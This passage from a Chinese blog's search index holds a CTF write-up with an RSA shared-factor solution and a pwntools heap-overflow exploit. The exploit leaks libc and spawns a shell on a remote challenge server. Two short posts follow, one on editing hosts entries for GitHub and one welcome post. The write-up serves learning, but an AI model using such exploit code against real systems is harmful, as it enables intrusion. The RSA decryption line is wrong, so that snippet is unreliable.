14967030059975114950295399874185047053736587880127990542035765201425779342430662517765063258784685868107066789475747180244711352646469776732938544641583842313791872986357504462184924075227433498631423289187988351475666785190854210389587594975456064984611990461126684301086241532915267311675164190213474245311019623654865937851653532870965423474555348239858021551589650169602439423841160698793338115204238140085738680883313433574060243600028500600824624358473403059597593891412179399165813622512901263380299561019624741488779367019389775786547292065352885007224239581776975892385364446446185642939137287519945974807727c2 = 3829060039572042737496679186881067950328956133163629908872348108160129550437697677150599483923925798224328175594483217938833520220087230303470138525970468915511111320396185482564783975435346354440035776909781158407636044986403819840648379609630039348895415045723208843631191252142600667607807479954194447237061080618370787672720344741413537975922184859333432197766580150534457001196765621678659952108010596273244230812327182786329760844037149719587269632133595149294067490955644893402708720284179715002149224068928828656515326446881791228638008572889331511945042911372915003805505412099102954073299010951896955362470e = 65537n2 = 14624662628725820618622370803948630854094687814338334827462870357582795291844925274690253604919535785934208081825425541536057550227048399837243392490762167733083030368221240764693694321150104306044125934201699430146970466657410999261630825931178731857267599750324918610790098952520113593130245010530961350592735239454337631927669542026935873535964487595433984902529960726655481696404006628917922241666148082741874033756970724357470539589848548704573091633917869387239324447730587545472564561496724882799495186768858324490838169123077051890332313671220385830444331578674338014080959653201802476516237464651809255679979</code></pre><p>题目脚本可知<br> n1 = p1 <em> q1<br> n2 = p2 </em> q1</p><p>求n1和n2的最大公约数即可分解n, 然后算私钥解密即可:</p><figure class="highlight py"><table><tr><td class="code"><pre><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">gcd</span><span class="params">(a, b)</span>:</span></span><br><span class="line"> <span class="keyword">if</span> a < b:</span><br><span class="line"> a, b = b, a</span><br><span class="line"> <span class="keyword">while</span> b != <span class="number">0</span>:</span><br><span class="line"> temp = a % b</span><br><span class="line"> a = b</span><br><span class="line"> b = temp</span><br><span class="line"> <span class="keyword">return</span> a</span><br><span class="line"></span><br><span class="line">q1 = gcd(n1, n2)</span><br><span class="line">p1 = n1 / q1</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">egcd</span><span class="params">(a, b)</span>:</span></span><br><span class="line"> <span class="keyword">if</span> a == <span class="number">0</span>:</span><br><span class="line"> <span class="keyword">return</span> (b, <span class="number">0</span>, <span class="number">1</span>)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> g, y, x = egcd(b % a, a)</span><br><span class="line"> <span class="keyword">return</span> (g, x - (b // a) * y, y)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">modinv</span><span class="params">(a, m)</span>:</span></span><br><span class="line"> g, x, y = egcd(a, m)</span><br><span class="line"> <span class="keyword">if</span> g != <span class="number">1</span>:</span><br><span class="line"> <span class="keyword">raise</span> Exception(<span class="string">'modular inverse does not exist'</span>)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">return</span> x % m</span><br><span class="line"></span><br><span class="line">d = modinv(e, (p1<span class="number">-1</span>)*(q1<span class="number">-1</span>))</span><br><span class="line">m = pow(c1, e, d)</span><br></pre></td></tr></table></figure><p>flag{i_am_very_sad_233333333333}</p><h3 id="强网先锋-AP"><a href="#强网先锋-AP" class="headerlink" title="强网先锋-AP"></a>强网先锋-AP</h3><p>修改堆块的时候没检查大小, 导致堆溢出</p><p>思路就是先leak libc, 然后用sh和system覆盖堆里的地址然后调用open操作即可</p><ol><li>创建4个ticket</li><li>修改第三个ticket, 越界写到第四个ticket的puts地址那里</li><li>用open操作打印ticket3, 得到puts的地址</li><li>得到libc版本, 找到system地址和<code>/bin/sh</code>地址</li><li>修改第一个ticket, 覆盖到第二个ticket的两个地址</li><li>调用第二个ticket的open, getshell</li></ol><p>脚本: </p><figure class="highlight py"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">context.log_level=<span class="string">'debug'</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get</span><span class="params">(size, context)</span>:</span></span><br><span class="line"> r.sendlineafter(<span class="string">"Choice >> \n"</span>, <span class="string">'1'</span>)</span><br><span class="line"> r.sendlineafter(<span class="string">"The length of my owner's name:\n"</span>, str(size + <span class="number">1</span>))</span><br><span class="line"> r.sendlineafter(<span class="string">"Give me my owner's name:\n"</span>, context)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">op</span><span class="params">(index)</span>:</span></span><br><span class="line"> r.sendlineafter(<span class="string">"Choice >> \n"</span>, <span class="string">'2'</span>)</span><br><span class="line"> r.sendlineafter(<span class="string">"Please tell me which tickets would you want to open?\n"</span>, str(index))</span><br><span class="line"> r.recvuntil(<span class="string">"I'm a magic tickets.I will tell you who is my owner!\n"</span>)</span><br><span class="line"> <span class="keyword">return</span> r.recvuntil(<span class="string">"\n"</span>)[:<span class="number">-1</span>]</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">change</span><span class="params">(index, size, context)</span>:</span></span><br><span class="line"> r.sendlineafter(<span class="string">"Choice >> \n"</span>, <span class="string">'3'</span>)</span><br><span class="line"> r.sendlineafter(<span class="string">"Please tell me which tickets would you want to change it's owner's name?\n"</span>, str(index))</span><br><span class="line"> r.sendlineafter(<span class="string">"The length of my owner's name:\n"</span>, str(size + <span class="number">1</span>))</span><br><span class="line"> r.sendlineafter(<span class="string">"Give me my owner's name:\n"</span>, context)</span><br><span class="line"></span><br><span class="line"><span class="comment"># r = process('./task_main')</span></span><br><span class="line">r = remote(<span class="string">'49.4.66.242'</span>, <span class="number">30351</span>)</span><br><span class="line"></span><br><span class="line">get(<span class="number">8</span>, <span class="string">'a'</span> * <span class="number">8</span>)</span><br><span class="line">get(<span class="number">8</span>, <span class="string">'b'</span> * <span class="number">8</span>)</span><br><span class="line">get(<span class="number">8</span>, <span class="string">'c'</span> * <span class="number">8</span>)</span><br><span class="line">get(<span class="number">8</span>, <span class="string">'d'</span> * <span class="number">8</span>)</span><br><span class="line"></span><br><span class="line">change(<span class="number">2</span>, <span class="number">40</span>, <span class="string">'a'</span>*<span class="number">40</span>)</span><br><span class="line"></span><br><span class="line">puts_addr = u64(op(<span class="number">2</span>)[<span class="number">40</span>:].ljust(<span class="number">8</span>, <span class="string">'\x00'</span>))</span><br><span class="line"></span><br><span class="line">info(<span class="string">"_IO_puts: "</span> + hex(puts_addr)) <span class="comment"># 0x7f7dba8c4690</span></span><br><span class="line"><span class="comment"># searcher = LibcSearcher("_IO_puts", puts_addr)</span></span><br><span class="line"><span class="comment"># libc_file = searcher.getFileName()</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># info("Libc: " + libc_file)</span></span><br><span class="line"></span><br><span class="line">libc = ELF(<span class="string">"/home/a/LibcSearcher/libc-database/db/libc6_2.23-0ubuntu10_amd64.so"</span>)</span><br><span class="line">libc.address = puts_addr - libc.symbols[<span class="string">'_IO_puts'</span>]</span><br><span class="line"></span><br><span class="line">sh_addr = libc.address + <span class="number">0x000000000018cd57</span></span><br><span class="line">system_addr = libc.symbols[<span class="string">'system'</span>]</span><br><span class="line"></span><br><span class="line">info(<span class="string">"sh: "</span> + hex(sh_addr))</span><br><span class="line">info(<span class="string">"system: "</span> + hex(system_addr))</span><br><span class="line"></span><br><span class="line">change(<span class="number">0</span>, <span class="number">48</span>, <span class="string">'e'</span> * <span class="number">32</span> + p64(sh_addr) + p64(system_addr))</span><br><span class="line">r.sendlineafter(<span class="string">"Choice >> \n"</span>, <span class="string">'2'</span>)</span><br><span class="line">r.sendlineafter(<span class="string">"Please tell me which tickets would you want to open?\n"</span>, <span class="string">"1"</span>)</span><br><span class="line">r.interactive()</span><br></pre></td></tr></table></figure>]]></content>
<tags>
<tag> ctf </tag>
</tags>
</entry>
<entry>
<title>如何提高Git Clone的速度</title>
<link href="/2019/01/18/%E5%A6%82%E4%BD%95%E6%8F%90%E9%AB%98git-clone%E7%9A%84%E9%80%9F%E5%BA%A6/"/>
<url>/2019/01/18/%E5%A6%82%E4%BD%95%E6%8F%90%E9%AB%98git-clone%E7%9A%84%E9%80%9F%E5%BA%A6/</url>
<content type="html"><![CDATA[<ol><li><p>用ssh</p></li><li><p>改host</p></li></ol><p>Linux下:</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">mv /etc/host /etc/host_bak \</span><br><span class="line">vim /etc/host</span><br></pre></td></tr></table></figure><p>下面这些丢进去<br><figure class="highlight plain"><table><tr><td class="code"><pre><span class="line"># Github</span><br><span class="line">151.101.44.249 github.global.ssl.fastly.net</span><br><span class="line">192.30.253.113 github.com</span><br><span class="line"># The follow 3 line may cause Github access slowly</span><br><span class="line"># 103.245.222.133 assets-cdn.github.com</span><br><span class="line"># 23.235.47.133 assets-cdn.github.com</span><br><span class="line"># 203.208.39.104 assets-cdn.github.com</span><br><span class="line"># -------------------------------------------</span><br><span class="line">204.232.175.78 documentcloud.github.com</span><br><span class="line">204.232.175.94 gist.github.com</span><br><span class="line">107.21.116.220 help.github.com</span><br><span class="line">207.97.227.252 nodeload.github.com</span><br><span class="line">199.27.76.130 raw.github.com</span><br><span class="line">107.22.3.110 status.github.com</span><br><span class="line">204.232.175.78 training.github.com</span><br><span class="line">207.97.227.243 www.github.com</span><br><span class="line">185.31.16.184 github.global.ssl.fastly.net</span><br><span class="line">185.31.18.133 avatars0.githubusercontent.com</span><br><span class="line">185.31.19.133 avatars1.githubusercontent.com</span><br></pre></td></tr></table></figure><br>然后<br><figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">/etc/init.d/networking restart</span><br></pre></td></tr></table></figure><br>ok,速度拉满</p>]]></content>
<tags>
<tag> github </tag>
<tag> 优化 </tag>
</tags>
</entry>
<entry>
<title>Hello World</title>
<link href="/2019/01/15/hello-world/"/>
<url>/2019/01/15/hello-world/</url>
<content type="html"><![CDATA[<p>Welcome to my blog!</p><h1 id="修修改改博客终于搞起来了"><a href="#修修改改博客终于搞起来了" class="headerlink" title="修修改改博客终于搞起来了"></a>修修改改博客终于搞起来了</h1><p>从WordPress到hexo再到github+hexo</p><p>然后换了三五个主题</p><p>最终决定用这个仙人掌, 非常合我口味</p><p>同时也安利一下 <a href="https://probberechts.github.io/hexo-theme-cactus/">https://probberechts.github.io/hexo-theme-cactus/</a></p><p>404页面的小恐龙用的是这个 <a href="https://github.com/wayou/t-rex-runner">https://github.com/wayou/t-rex-runner</a></p><p>有时间准备给about me写个好看的js</p><p>然后emmmmmmmmmmmm</p><p>想试试把NES.css结合进来, 八像素风格真好看233</p>]]></content>
<tags>
<tag> 博客 </tag>
</tags>
</entry>
</search>